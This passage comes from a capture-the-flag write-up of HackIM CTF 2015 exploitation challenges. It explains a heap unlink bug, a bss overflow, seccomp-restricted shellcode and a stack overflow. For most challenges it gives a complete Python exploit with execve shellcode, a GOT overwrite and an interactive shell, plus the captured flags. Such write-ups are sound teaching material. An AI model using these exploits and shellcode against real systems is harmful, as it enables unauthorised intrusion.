rop += struct.pack("<I", 0xdeadbeef) 
rop += struct.pack("<I", sh_string)  # sh -> /bin/sh
send_msg(rop)

print "[*] Leaking libc address"
leaked_libc_start = soc.recv(4)
leaked_libc_start = struct.unpack("<I", leaked_libc_start)[0]
print "[*] Address of __libc_start_main() : %s" % hex(leaked_libc_start)

system_offset = 0x26770
system_addres = leaked_libc_start + system_offset
print "[*] Address of system() : %s" % hex(system_addres)
system_addres = struct.pack("<I", leaked_libc_start + system_offset)
send_msg(system_addres)

print "[*] Shell"
s = telnetlib.Telnet()
s.sock = soc
s.interact()
renorobert@ubuntu:~/HackIM/mixmes$ python sploit_mixme_poc.py 
[*] Creating 1st node
[*] Creating 2nd node
[*] Overflowing into 2nd node, setting up strncmp() for overwrite
[*] Overwriting strncmp() to pivot stack using fgets()
[*] Creating buffer overflow inside fgets()
[*] Leaking libc address
[*] Address of __libc_start_main() : 0xb75f9990
[*] Address of system() : 0xb7620100
[*] Shell
cat flag.txt
aw3s0m3++_hipp1e_pwn_r0ckst4r
Flag for the challenge is aw3s0m3++_hipp1e_pwn_r0ckst4r

HACKIM CTF 2015 - Exploitation 4

Exploitation 4 was a 32 bit ELF without NX protection. The binary implements a custom allocator using sbrk. Each chunk holds a metadata of 12 byte. First DWORD holds the size and last bit is set if the chunk is used. 2nd DWORD points to next chunk and 3rd DWORD points to previous chunk. Rest of details of allocator could be skipped for understanding this exploit.

Deallocator routine implements a unlink operation for freeing chunks. It has a bug when computing address of header, the deallocator does (pointer-16) when the header is only 12 bytes.
Please enter one of the following option:
1 to add a Note.
2 to delete a Note.
3 to edit a Note.
4 to show a Note.
5 to exit.
Your Choice:
1
Give the type of the Note:
0
Please enter one of the following option:
1 to add a Note.
2 to delete a Note.
3 to edit a Note.
4 to show a Note.
5 to exit.
Your Choice:
2
Give the Note id to delete:
0
Segmentation fault (core dumped)
These details will be useful during exploitation.

Vulnerability

The binary allows to add notes for each predefined 3 types. Type 0 allocating 100 bytes, type 1 allocating 200 bytes and type 2 allocating 400 bytes for notes. bss section maintains an array of all allocated chunks which could be accessed using id.

The vulnerability is because, type information is not saved. During edit operation, type information could be changed so that 200 or 400 bytes could be read into a 100 byte chunk. there by corrupting metadata of adjacent chunks.

Deallocator routine


chunk_to_delete = ptr - 16; // wrong index
next_ptr = *(_DWORD *)(ptr - 16 + 4);  // size is read
prev_ptr = *(_DWORD *)(ptr - 16 + 8); // next_ptr is read

if ( prev_ptr )
   *(_DWORD *)(prev_ptr + 4) = next_ptr; // if not first node, next->next = current-> size

if ( next_ptr ) 
   *(_DWORD *)(next_ptr + 8) = prev_ptr; // if not last node,  size->prev = current-> next 

By overwriting the metadata of chunk, we could get a write anything anywhere primitive.

ASLR bypass and Exploit

Though we have info leak using show Note feature, we could allocate a 3rd chunk and overwrite this with shellcode. In the 2nd chunk preserve the 2nd DWORD, except for 1 byte newline overwrite(this will be read as previous pointer). Overwrite size DWORD with address that needs to be overwritten, GOT entry of puts() in our case. This will be read as next pointer.

Since next_ptr is GOT of puts() and prev_ptr is address of 3rd chunk with shellcode, we could reliably overwrite the GOT entry to get shell. Below is the full exploit
#!/usr/bin/env python

import struct
import telnetlib
import socket

nop = chr(0x90) * 30
jmp = '9090eb1c'.decode('hex')
execve = '31c9f7e151682f2f7368682f62696e89e3b00bcd80'.decode('hex')
payload = jmp + nop + execve
puts = 0x0804b014

ip = "127.0.0.1"
ip = "54.163.248.69"
port = 9004
soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

msg = dict()
msg['CHOICE']    = 'Your Choice:\n'
msg['NOTETYPE']  = 'Give the type of the Note:\n'
msg['DELETEID']  = 'Give the Note id to delete:\n'
msg['EDITID']    = 'Give the Note id to edit:\n'
msg['EDITTYPE']  = 'Give the type to edit:\n' 
msg['SETNOTE']   = 'Give your Note:\n'
msg['GETNOTE']   = 'Give the Noteid to print:\n'

def recv_msg(delimiter):
    global soc
    rbuffer = ''
    while not rbuffer.endswith(delimiter):
        rbuffer += soc.recv(1)
    return rbuffer

def send_msg(m):
    global soc
    soc.send(m + chr(0xa))

print "[*] Creating 1st note"
recv_msg(msg['CHOICE'])
# add 1st note
send_msg('1')
recv_msg(msg['NOTETYPE'])
# set type to 0
send_msg('0')

print "[*] Creating 2nd note"
recv_msg(msg['CHOICE'])
# add 2nd note
send_msg('1')
recv_msg(msg['NOTETYPE'])
# set type to 0
send_msg('0')

print "[*] Creating 3rd note"
recv_msg(msg['CHOICE'])
# add 3rd note
send_msg('1')
recv_msg(msg['NOTETYPE'])
# set type to 0
send_msg('0')

print "[*] Setting up payload in 3rd note by editing 2nd"
recv_msg(msg['CHOICE'])
# edit 2nd note to overflow into 3rd for ASLR bypass
send_msg('3')
recv_msg(msg['EDITID'])
# edit first chunk
send_msg('1')
recv_msg(msg['EDITTYPE'])
# change note type
send_msg('2')
recv_msg(msg['SETNOTE'])
send_msg('A'*110 + payload)

print "[*] Overwriting pointers in 2nd note by editing 1st"
recv_msg(msg['CHOICE'])
# edit 1st note to overflow into 2nd
send_msg('3')
recv_msg(msg['EDITID'])
# edit 0th chunk
send_msg('0')
recv_msg(msg['EDITTYPE'])
# change note type
send_msg('2')
recv_msg(msg['SETNOTE'])
send_msg('A'*116 + struct.pack("<I", puts - 8))

print "[*] Deleting 2nd note to overwrite GOT entry of puts()"
recv_msg(msg['CHOICE'])
# trigger by delete
send_msg('2')
recv_msg(msg['DELETEID'])
# delete 2nd note
send_msg('1')

print "[*] Shell"
s = telnetlib.Telnet()
s.sock = soc
s.interact()

renorobert@ubuntu:~/HackIM/MentalNotes$ python sploit_mentalnote.py 
[*] Creating 1st note
[*] Creating 2nd note
[*] Creating 3rd note
[*] Setting up payload in 3rd note by editing 2nd
[*] Overwriting pointers in 2nd note by editing 1st
[*] Deleting 2nd note to overwrite GOT entry of puts()
[*] Shell
cat flag.txt
flag{y0u_br0k3_1n70_5h3rl0ck_m1ndp4l4c3}
Flag for the challenge is flag{y0u_br0k3_1n70_5h3rl0ck_m1ndp4l4c3}

HACKIM CTF 2015 - Exploitation 3

The binary allows to set key:value pair and retrieve them using the key. Values are copied into bss area and key is stored in heap using a singly linked list. This is what a node looks like
struct node{
    char key[256];
    char *value;
    struct node *next;
}
Pointer to last inserted node and node count is maintained in bss. value is a pointer to bss area, chunked into sizes of 4096 bytes. fgets function @ 0x08048C3C reads large input as:
fgets(bss_buffer, 20479, stdin) 
Vulnerability is in memcpy function @ 0x08048B2B as it copies value for key into the bss buffer
memcpy(bss + (4096*nodecount), value, strlen(value))
Using this we could overflow chunked buffer in bss. The goal of the challenge is to read the value for key key.

One could overwrite pointer to linked list which is stored in bss or we could fill 4096 bytes for one key and copy flag into adjacent chunk, so that they are not separated by NUL byte. This way we could dump the flag by reading the first key. Below is the solution
#!/usr/bin/env python

import socket

ip = '127.0.0.1'
ip = '54.163.248.69'
port = 9003

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
COMMAND = 'Command% '

def recv_msg(delimiter):
    global soc
    rbuffer = ''
    while not rbuffer.endswith(delimiter):
 rbuffer += soc.recv(1)
    return rbuffer

recv_msg(COMMAND)

# bss - fill entire 4096 bytes to concatenate flag
com = 'set O ' + 'A' * 4096 + chr(0xa)
soc.send(com)
recv_msg(COMMAND)

# read flag into adjacent buffer
com = 'set key' + chr(0xa)
soc.send(com)
recv_msg(COMMAND)

# read first key:value to dump the flag
soc.send('get O' + chr(0xa))
print recv_msg(COMMAND)[4096:]
Flag for the challenge is flag{YesItSy0urP13c30fC4k3}

HACKIM CTF 2015 - Exploitation 2

The binary makes 2 mmap() calls. One region is RWX into which user supplied shellcode is copied and executed. Flag is copied into other region. Then seccomp is used to restrict syscalls that we could make. The white list includes read, write, exit and exit_group syscalls. In current Linux ASLR, two mmap'ed region will be placed adjacent to each other. Knowing the address of one region, we could compute the address of other as the offsets are fixed. This is what the memory looks like
gdb-peda$ vmmap 
Start      End        Perm Name
0xf7fd6000 0xf7fd8000 rwxp mapped
0xf7fd8000 0xf7fdb000 rw-p mapped
gdb-peda$ x/s 0xf7fd8000
0xf7fd8000: "thisisaflag" 
So we need a shellcode to write the flag to stdout from a known offset. Below is the solution:
#!/usr/bin/env python

import socket

ip = "127.0.0.1"
ip = "54.163.248.69"
port = 9001

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))

# nasm > mov eax, 0x4
# 00000000  B804000000        mov eax,0x4
# nasm > mov ebx, 0x1
# 00000000  BB01000000        mov ebx,0x1
# nasm > lea ecx, [ecx+0x2000]
# 00000000  8D8900200000      lea ecx,[ecx+0x2000]
# nasm > mov edx, 0x100
# 00000000  BA00010000        mov edx,0x100
# nasm > int 0x80
# 00000000  CD80              int 0x80

payload  = 'B804000000BB010000008D8900200000BA00010000CD80'.decode('hex') 

soc.send(payload + chr(0xa))
print soc.recv(0x100)
Flag for the challenge is d3sp3r4t3_sh3llc0d3

HACKIM CTF 2015 - Exploitation 1

Exploitation 1 was a 32 bit ELF without NX protection. The vulnerability is a buffer overflow in stack using echo command during sprintf() call at 0x080489BF. snprintf() copies 8191 bytes of data supplied by read() into 0x78 byte buffer causing the overflow. Suppling 122 bytes along with echo: [6 bytes] will overwrite the saved EIP. Also there is a nice jmp esp gadget to bypass ASLR. Below is the exploit
#!/usr/bin/env python

import socket
import telnetlib
import struct

ip = "127.0.0.1"
ip = "54.163.248.69"
port = 9000

dup    = '31c031db31c9b103fec9b03fb304cd8075f6'.decode('hex')
execve = '31c9f7e151682f2f7368682f62696e89e3b00bcd80'.decode('hex')
shellcode = dup + execve

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
soc.recv(16)
jmp_esp = 0x080488b0

payload  = "echo "
payload += "A" * 118
payload += struct.pack("<I", jmp_esp)
payload += shellcode
soc.send(payload + chr(0xa))

print "[*] Shell"
s = telnetlib.Telnet()
s.sock = soc
s.interact()
Flag for the challenge is aleph1-to-the-rescue++